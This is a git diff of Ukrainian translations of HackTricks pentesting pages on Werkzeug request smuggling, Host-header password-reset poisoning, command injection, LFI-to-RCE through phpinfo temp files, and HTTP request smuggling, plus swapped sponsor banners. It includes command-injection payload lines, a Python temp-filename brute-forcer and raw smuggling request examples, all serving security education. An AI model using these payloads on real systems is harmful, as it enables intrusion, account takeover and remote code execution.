Якщо ви використовуєте **стару версію** Werkzeug, спробуйте змінити **алгоритм хешування на md5** замість sha1.
{% endhint %}
## Символи Unicode в Werkzeug
## Unicode символи Werkzeug
Як було помічено в [**цьому питанні**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug не закриває запит з символами Unicode в заголовках. І, як пояснено в [**цьому звіті**](https://mizu.re/post/twisty-python), це може викликати вразливість CL.0 Request Smuggling.
Як було помічено в [**цьому питанні**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug не закриває запит з Unicode символами в заголовках. І, як пояснено в [**цьому описі**](https://mizu.re/post/twisty-python), це може викликати вразливість CL.0 Request Smuggling.
Це пов'язано з тим, що в Werkzeug можливо відправити деякі **символи Unicode**, і це призведе до **зламу** сервера. Однак, якщо HTTP-з'єднання було створено з заголовком **`Connection: keep-alive`**, тіло запиту не буде прочитано, і з'єднання залишиться відкритим, тому **тіло** запиту буде розглядатися як **наступний HTTP запит**.
Це пов'язано з тим, що в Werkzeug можливо відправити деякі **Unicode** символи, і це призведе до **зламу** сервера. Однак, якщо HTTP з'єднання було створено з заголовком **`Connection: keep-alive`**, тіло запиту не буде прочитано, і з'єднання залишиться відкритим, тому **тіло** запиту буде розглядатися як **наступний HTTP запит**.
## Автоматизоване використання
@ -182,7 +184,9 @@ print(rv)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та тестування на проникнення**. Проведіть повний тест на проникнення з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо тестувальників на проникнення - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб дати їм більше часу для глибшого аналізу, зламу оболонок і розваг.
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ кастомних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -6,7 +6,7 @@
<details>
<summary>Підтримати HackTricks</summary>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -17,16 +17,18 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та тестування на проникнення**. Виконуйте повний тест на проникнення з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо тестувальників на проникнення - ми розробляємо спеціальні інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, запуску оболонок та отримання задоволення.
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
### Заголовок хоста
### Заголовок Host
Декілька разів бекенд довіряє **заголовку хоста** для виконання деяких дій. Наприклад, він може використовувати його значення як **домен для надсилання скидання пароля**. Тож, коли ви отримуєте електронний лист з посиланням для скидання пароля, домен, що використовується, - це той, що ви вказали в заголовку хоста. Тоді ви можете запитати скидання пароля інших користувачів і змінити домен на той, що контролюється вами, щоб вкрасти їхні коди скидання пароля. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
Декілька разів бекенд довіряє **заголовку Host** для виконання деяких дій. Наприклад, він може використовувати його значення як **домен для надсилання скидання пароля**. Тож, коли ви отримуєте електронний лист з посиланням для скидання пароля, домен, що використовується, є тим, що ви вказали в заголовку Host. Тоді ви можете запросити скидання пароля інших користувачів і змінити домен на той, що контролюється вами, щоб вкрасти їхні коди скидання пароля. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
{% hint style="warning" %}
Зверніть увагу, що можливо, вам навіть не потрібно чекати, поки користувач натисне на посилання для скидання пароля, щоб отримати токен, оскільки, можливо, навіть **фільтри спаму або інші проміжні пристрої/боти натиснуть на нього для аналізу**.
Зверніть увагу, що можливо, вам навіть не потрібно чекати, поки користувач натисне на посилання для скидання пароля, щоб отримати токен, оскільки навіть **фільтри спаму або інші проміжні пристрої/боти можуть натискати на нього для аналізу**.
{% endhint %}
### Логічні значення сесії
@ -36,7 +38,7 @@
### Функціональність реєстрації
Спробуйте зареєструватися як вже існуючий користувач. Спробуйте також використовувати еквівалентні символи (крапки, багато пробілів та Unicode).
Спробуйте зареєструватися як вже існуючий користувач. Спробуйте також використовувати еквівалентні символи (крапки, багато пробілів і Unicode).
### Перехоплення електронних листів
@ -55,7 +57,9 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та тестування на проникнення**. Виконуйте повний тест на проникнення з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо тестувальників на проникнення - ми розробляємо спеціальні інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, запуску оболонок та отримання задоволення.
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -65,7 +69,7 @@
<details>
<summary>Підтримати HackTricks</summary>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -15,22 +15,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
#### Get a hacker's perspective on your web apps, network, and cloud
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
## Що таке командна ін'єкція?
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## What is command Injection?
**Командна ін'єкція** дозволяє зловмиснику виконувати довільні команди операційної системи на сервері, що хостить додаток. В результаті, додаток і всі його дані можуть бути повністю скомпрометовані. Виконання цих команд зазвичай дозволяє зловмиснику отримати несанкціонований доступ або контроль над середовищем додатка та основною системою.
### Контекст
### Context
В залежності від **того, куди вводиться ваш ввід**, вам може знадобитися **закінчити цитований контекст** (використовуючи `"` або `'`) перед командами.
Залежно від **того, куди вводиться ваш ввід**, вам може знадобитися **закінчити цитований контекст** (використовуючи `"` або `'`) перед командами.
## Командна ін'єкція/Виконання
## Command Injection/Execution
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
@ -152,7 +153,7 @@ powershell C:**2\n??e*d.*? # notepad
<details>
<summary>Підтримати HackTricks</summary>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -161,10 +162,10 @@ powershell C:**2\n??e*d.*? # notepad
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
**Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -13,8 +13,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
Щоб експлуатувати цю вразливість, вам потрібно: **вразливість LFI, сторінка, де відображається phpinfo(), "file\_uploads = on" і сервер повинен мати можливість записувати в директорію "/tmp".**
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Щоб експлуатувати цю вразливість, вам потрібно: **Вразливість LFI, сторінка, на якій відображається phpinfo(), "file\_uploads = on" і сервер повинен мати можливість записувати в директорію "/tmp".**
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
@ -32,17 +40,17 @@ sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
Якщо завантаження дозволено в PHP і ви намагаєтеся завантажити файл, цей файл зберігається в тимчасовому каталозі, поки сервер не закінчить обробку запиту, потім цей тимчасовий файл видаляється.
Отже, якщо ви знайшли вразливість LFI на веб-сервері, ви можете спробувати вгадати назву тимчасового файлу, що створюється, і експлуатувати RCE, отримуючи доступ до тимчасового файлу до його видалення.
Тоді, якщо ви знайшли вразливість LFI на веб-сервері, ви можете спробувати вгадати ім'я тимчасового файлу, що створюється, і експлуатувати RCE, отримуючи доступ до тимчасового файлу до його видалення.
У **Windows** файли зазвичай зберігаються в **C:\Windows\temp\php**
У **linux** назва файлу зазвичай **випадкова** і розташована в **/tmp**. Оскільки назва випадкова, потрібно **витягти звідкись назву тимчасового файлу** і отримати до нього доступ до його видалення. Це можна зробити, прочитавши значення **змінної $\_FILES** всередині вмісту функції "**phpconfig()**".
У **linux** ім'я файлу зазвичай є **випадковим** і розташоване в **/tmp**. Оскільки ім'я випадкове, потрібно **витягти звідкись ім'я тимчасового файлу** і отримати до нього доступ до його видалення. Це можна зробити, прочитавши значення **змінної $\_FILES** всередині вмісту функції "**phpconfig()**".
**phpinfo()**
**PHP** використовує буфер **4096B**, і коли він **повний**, він **надсилається клієнту**. Потім клієнт може **надіслати** **багато великих запитів** (використовуючи великі заголовки) **завантажуючи php** зворотний **shell**, чекати на **першу частину phpinfo()**, що повертається (де вказується назва тимчасового файлу) і намагатися **отримати доступ до тимчасового файлу** до того, як php сервер видалить файл, експлуатуючи вразливість LFI.
**PHP** використовує буфер **4096B**, і коли він **повний**, він **надсилається клієнту**. Тоді клієнт може **надіслати** **багато великих запитів** (використовуючи великі заголовки) **завантажуючи php** зворотний **shell**, чекати, поки **перша частина phpinfo() буде повернена** (де знаходиться ім'я тимчасового файлу) і намагатися **отримати доступ до тимчасового файлу** до того, як php сервер видалить файл, експлуатуючи вразливість LFI.
**Скрипт Python для спроби брутфорсити назву (якщо довжина = 6)**
**Скрипт Python для спроби брутфорсити ім'я (якщо довжина = 6)**
```python
import itertools
import requests
@ -64,9 +72,17 @@ sys.exit(0)
print('[x] Something went wrong, please try again')
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,20 +1,28 @@
# HTTP Request Smuggling / HTTP Desync Attack
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вивчайте та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Підтримка HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Що таке
Ця вразливість виникає, коли **десинхронізація** між **фронтальними проксі** та **бекенд** сервером дозволяє **зловмиснику** **надіслати** HTTP **запит**, який буде **інтерпретований** як **один запит** фронтальними проксі (балансування навантаження/реверс-проксі) та **як 2 запити** бекенд сервером.\
@ -37,24 +45,24 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
### Реальність
**Фронтальний** (балансування навантаження / Реверс-проксі) **обробляє** _**content-length**_ або _**transfer-encoding**_ заголовок, а **бекенд** сервер **обробляє інший**, викликаючи **десинхронізацію** між 2 системами.\
**Фронтальне** (балансування навантаження / Реверс-проксі) **обробляє** _**content-length**_ або _**transfer-encoding**_ заголовок, а **бекенд** сервер **обробляє інший**, викликаючи **десинхронізацію** між 2 системами.\
Це може бути дуже критично, оскільки **зловмисник зможе надіслати один запит** до реверс-проксі, який буде **інтерпретований** бекенд сервером **як 2 різні запити**. **Небезпека** цієї техніки полягає в тому, що **бекенд** сервер **інтерпретує** **2-й запит, що інжектується**, як якщо б він **надійшов від наступного клієнта**, а **реальний запит** цього клієнта буде **частиною** **інжектованого запиту**.
### Особливості
Пам'ятайте, що в HTTP **символ нового рядка складається з 2 байтів:**
Пам'ятайте, що в HTTP **новий символ рядка складається з 2 байтів:**
* **Content-Length**: Цей заголовок використовує **десяткове число** для вказівки **кількості** **байтів** тіла запиту. Тіло, як очікується, закінчується останнім символом, **новий рядок не потрібен в кінці запиту**.
* **Transfer-Encoding:** Цей заголовок використовує в **тілі** **шістнадцяткове число** для вказівки **кількості** **байтів** **наступного шматка**. **Частина** повинна **закінчуватися** **новим рядком**, але цей новий рядок **не враховується** індикатором довжини. Цей метод передачі повинен закінчуватися **шматком розміром 0, за яким слідують 2 нові рядки**: `0`
* **Connection**: Згідно з моїм досвідом, рекомендується використовувати **`Connection: keep-alive`** в першому запиті при використанні HTTP Request Smuggling.
* **Content-Length**: Цей заголовок використовує **десяткове число** для вказівки **кількості** **байтів** тіла запиту. Тіло очікується, що закінчується останнім символом, **новий рядок не потрібен в кінці запиту**.
* **Transfer-Encoding:** Цей заголовок використовує в **тілі** **шістнадцяткове число** для вказівки **кількості** **байтів** **наступного фрагмента**. **Фрагмент** повинен **закінчуватися** **новим рядком**, але цей новий рядок **не враховується** індикатором довжини. Цей метод передачі повинен закінчуватися **фрагментом розміром 0, за яким слідують 2 нові рядки**: `0`
* **Connection**: Згідно з моїм досвідом, рекомендується використовувати **`Connection: keep-alive`** в першому запиті при смугуванні запитів.
## Основні приклади
{% hint style="success" %}
Коли ви намагаєтеся експлуатувати це за допомогою Burp Suite **вимкніть `Update Content-Length` та `Normalize HTTP/1 line endings`** в повторювачі, оскільки деякі гаджети зловживають новими рядками, поверненнями каретки та неправильно сформованими content-length.
При спробі експлуатувати це за допомогою Burp Suite **вимкніть `Update Content-Length` та `Normalize HTTP/1 line endings`** в повторювачі, оскільки деякі гаджети зловживають новими рядками, поверненнями каретки та неправильно сформованими content-length.
{% endhint %}
HTTP request smuggling атаки створюються шляхом надсилання неоднозначних запитів, які експлуатують розбіжності в тому, як фронтальні та бекенд сервери інтерпретують заголовки `Content-Length` (CL) та `Transfer-Encoding` (TE). Ці атаки можуть проявлятися в різних формах, головним чином як **CL.TE**, **TE.CL** та **TE.TE**. Кожен тип представляє унікальну комбінацію того, як фронтальні та бекенд сервери пріоритизують ці заголовки. Вразливості виникають через те, що сервери обробляють один і той же запит по-різному, що призводить до несподіваних і потенційно шкідливих наслідків.
Атаки на смугування HTTP-запитів створюються шляхом надсилання неоднозначних запитів, які експлуатують розбіжності в тому, як фронтальні та бекенд сервери інтерпретують заголовки `Content-Length` (CL) та `Transfer-Encoding` (TE). Ці атаки можуть проявлятися в різних формах, головним чином як **CL.TE**, **TE.CL** та **TE.TE**. Кожен тип представляє унікальну комбінацію того, як фронтальні та бекенд сервери пріоритизують ці заголовки. Вразливості виникають через те, що сервери обробляють один і той же запит по-різному, що призводить до несподіваних і потенційно шкідливих наслідків.
### Основні приклади типів вразливостей
@ -66,12 +74,12 @@ HTTP request smuggling атаки створюються шляхом надси
#### Вразливість CL.TE (Content-Length використовується фронтальним, Transfer-Encoding використовується бекендом)
* **Фронтальний (CL):** Обробляє запит на основі заголовка `Content-Length`.
* **Фронтальне (CL):** Обробляє запит на основі заголовка `Content-Length`.
* **Бекенд (TE):** Обробляє запит на основі заголовка `Transfer-Encoding`.
* **Сценарій атаки:**
* **Сценар атаки:**
* Зловмисник надсилає запит, де значення заголовка `Content-Length` не відповідає фактичній довжині вмісту.
* Фронтальний сервер пересилає весь запит до бекенду на основі значення `Content-Length`.
* Бекенд сервер обробляє запит як частковий через заголовок `Transfer-Encoding: chunked`, інтерпретуючи залишкові дані як окремий, наступний запит.
* Фронтальний сервер пересилає весь запит до бекенду, спираючись на значення `Content-Length`.
* Бекенд сервер обробляє запит як фрагментований через заголовок `Transfer-Encoding: chunked`, інтерпретуючи залишкові дані як окремий, наступний запит.
* **Приклад:**
```
@ -89,10 +97,10 @@ Foo: x
#### Вразливість TE.CL (Transfer-Encoding використовується фронтальним, Content-Length використовується бекендом)
* **Фронтальний (TE):** Обробляє запит на основі заголовка `Transfer-Encoding`.
* **Фронтальне (TE):** Обробляє запит на основі заголовка `Transfer-Encoding`.
* **Бекенд (CL):** Обробляє запит на основі заголовка `Content-Length`.
* **Сценарій атаки:**
* Зловмисник надсилає частковий запит, де розмір частини (`7b`) та фактична довжина вмісту (`Content-Length: 4`) не збігаються.
* **Сценар атаки:**
* Зловмисник надсилає фрагментований запит, де розмір фрагмента (`7b`) та фактична довжина вмісту (`Content-Length: 4`) не збігаються.
* Фронтальний сервер, поважаючи `Transfer-Encoding`, пересилає весь запит до бекенду.
* Бекенд сервер, поважаючи `Content-Length`, обробляє лише початкову частину запиту (`7b` байтів), залишаючи решту частиною ненавмисного наступного запиту.
* **Приклад:**
@ -118,10 +126,10 @@ x=
#### Вразливість TE.TE (Transfer-Encoding використовується обома, з обфускацією)
* **Сервери:** Обидва підтримують `Transfer-Encoding`, але один може бути обманутий, щоб ігнорувати його через обфускацію.
* **Сценарій атаки:**
* **Сценар атаки:**
* Зловмисник надсилає запит з обфускованими заголовками `Transfer-Encoding`.
* В залежності від того, який сервер (фронтальний або бекенд) не розпізнає обфускацію, може бути експлуатована вразливість CL.TE або TE.CL.
* Непроцесована частина запиту, як видно з одного з серверів, стає частиною наступного запиту, що призводить до смуглінгу.
* Непроцесована частина запиту, як видно з одного з серверів, стає частиною наступного запиту, що призводить до смугування.
* **Приклад:**
```
@ -141,10 +149,10 @@ Transfer-Encoding
: chunked
```
#### **Сценарій CL.CL (Content-Length використовується як фронтальним, так і бекендом)**
#### **Сценар CL.CL (Content-Length використовується як фронтальним, так і бекендом)**
* Обидва сервери обробляють запит виключно на основі заголовка `Content-Length`.
* Цей сценарій зазвичай не призводить до смуглінгу, оскільки є узгодженість у тому, як обидва сервери інтерпретують довжину запиту.
* Цей сценарій зазвичай не призводить до смугування, оскільки є узгодженість у тому, як обидва сервери інтерпретують довжину запиту.
* **Приклад:**
```
@ -156,10 +164,10 @@ Connection: keep-alive
Normal Request
```
#### **Сценарій CL.0**
#### **Сценар CL.0**
* Відноситься до сценаріїв, де заголовок `Content-Length` присутній і має значення, відмінне від нуля, що вказує на те, що тіло запиту має вміст. Бекенд ігнорує заголовок `Content-Length` (який розглядається як 0), але фронтальний його обробляє.
* Це важливо для розуміння та створення атак смуглінгу, оскільки це впливає на те, як сервери визначають кінець запиту.
* Відноситься до сценаріїв, де заголовок `Content-Length` присутній і має значення, відмінне від нуля, що вказує на те, що тіло запиту має вміст. Бекенд ігнорує заголовок `Content-Length` (який обробляється як 0), але фронтальний його парсить.
* Це важливо для розуміння та створення атак на смугування, оскільки це впливає на те, як сервери визначають кінець запиту.
* **Приклад:**
```
@ -171,7 +179,7 @@ Connection: keep-alive
Non-Empty Body
```
#### Сценарій TE.0
#### Сценар TE.0
* Як попередній, але з використанням TE
* Техніка [повідомлена тут](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
@ -197,7 +205,7 @@ EMPTY_LINE_HERE
Ця техніка також корисна в сценаріях, де можливо **зламати веб-сервер під час читання початкових HTTP-даних**, але **без закриття з'єднання**. Таким чином, **тіло** HTTP-запиту буде вважатися **наступним HTTP-запитом**.
Наприклад, як пояснюється в [**цьому описі**](https://mizu.re/post/twisty-python), у Werkzeug було можливо надіслати деякі **Unicode** символи, і це призведе до **зламу** сервера. Однак, якщо HTTP-з'єднання було створено з заголовком **`Connection: keep-alive`**, тіло запиту не буде прочитано, і з'єднання залишиться відкритим, тому **тіло** запиту буде розглядатися як **наступний HTTP-запит**.
Наприклад, як пояснено в [**цьому описі**](https://mizu.re/post/twisty-python), в Werkzeug було можливо надіслати деякі **Unicode** символи, і це призведе до **зламу** сервера. Однак, якщо HTTP-з'єднання було створено з заголовком **`Connection: keep-alive`**, тіло запиту не буде прочитано, і з'єднання залишиться відкритим, тому **тіло** запиту буде розглядатися як **наступний HTTP-запит**.
#### Примус через заголовки hop-by-hop
@ -218,7 +226,7 @@ Connection: Content-Length
### Виявлення вразливостей CL.TE за допомогою технік таймінгу
* **Метод:**
* Надішліть запит, який, якщо додаток вразливий, змусить сервер на задньому плані чекати на додаткові дані.
* Надішліть запит, який, якщо додаток вразливий, змусить сервер на бекенді чекати на додаткові дані.
* **Приклад:**
```
@ -233,16 +241,16 @@ A
0
```
* **Спостереження:**
* Сервер на передньому плані обробляє запит на основі `Content-Length` і передчасно обриває повідомлення.
* Сервер на задньому плані, очікуючи на частину повідомлення, чекає на наступну частину, яка ніколи не приходить, що викликає затримку.
* Сервер на фронтенді обробляє запит на основі `Content-Length` і передчасно обриває повідомлення.
* Сервер на бекенді, очікуючи на частину повідомлення, чекає на наступну частину, яка ніколи не приходить, що викликає затримку.
* **Індикатори:**
* Тайм-аути або тривалі затримки у відповіді.
* Отримання помилки 400 Bad Request від сервера на задньому плані, іноді з детальною інформацією про сервер.
* Отримання помилки 400 Bad Request від сервера на бекенді, іноді з детальною інформацією про сервер.
### Виявлення вразливостей TE.CL за допомогою технік таймінгу
* **Метод:**
* Надішліть запит, який, якщо додаток вразливий, змусить сервер на задньому плані чекати на додаткові дані.
* Надішліть запит, який, якщо додаток вразливий, змусить сервер на бекенді чекати на додаткові дані.
* **Приклад:**
```
@ -256,8 +264,8 @@ Content-Length: 6
X
```
* **Спостереження:**
* Сервер на передньому плані обробляє запит на основі `Transfer-Encoding` і пересилає все повідомлення.
* Сервер на задньому плані, очікуючи на повідомлення на основі `Content-Length`, чекає на додаткові дані, які ніколи не приходять, що викликає затримку.
* Сервер на фронтенді обробляє запит на основі `Transfer-Encoding` і пересилає все повідомлення.
* Сервер на бекенді, очікуючи на повідомлення на основі `Content-Length`, чекає на додаткові дані, які ніколи не приходять, що викликає затримку.
### Інші методи для виявлення вразливостей
@ -268,7 +276,7 @@ X
* **Тести на варіацію Content-Length:**
* Надсилайте запити з різними значеннями `Content-Length`, які не відповідають фактичній довжині вмісту, і спостерігайте, як сервер обробляє такі невідповідності.
* **Тести на варіацію Transfer-Encoding:**
* Надсилайте запити з обфусцированими або неправильно сформованими заголовками `Transfer-Encoding` і спостерігайте, як по-різному реагують сервери на передньому та задньому плані на такі маніпуляції.
* Надсилайте запити з обфусцированими або неправильно сформованими заголовками `Transfer-Encoding` і спостерігайте, як по-різному реагують сервери на фронтенді та бекенді на такі маніпуляції.
### Тестування вразливостей HTTP Request Smuggling
@ -278,19 +286,19 @@ X
При тестуванні на вразливості request smuggling, втручаючись в інші запити, пам'ятайте:
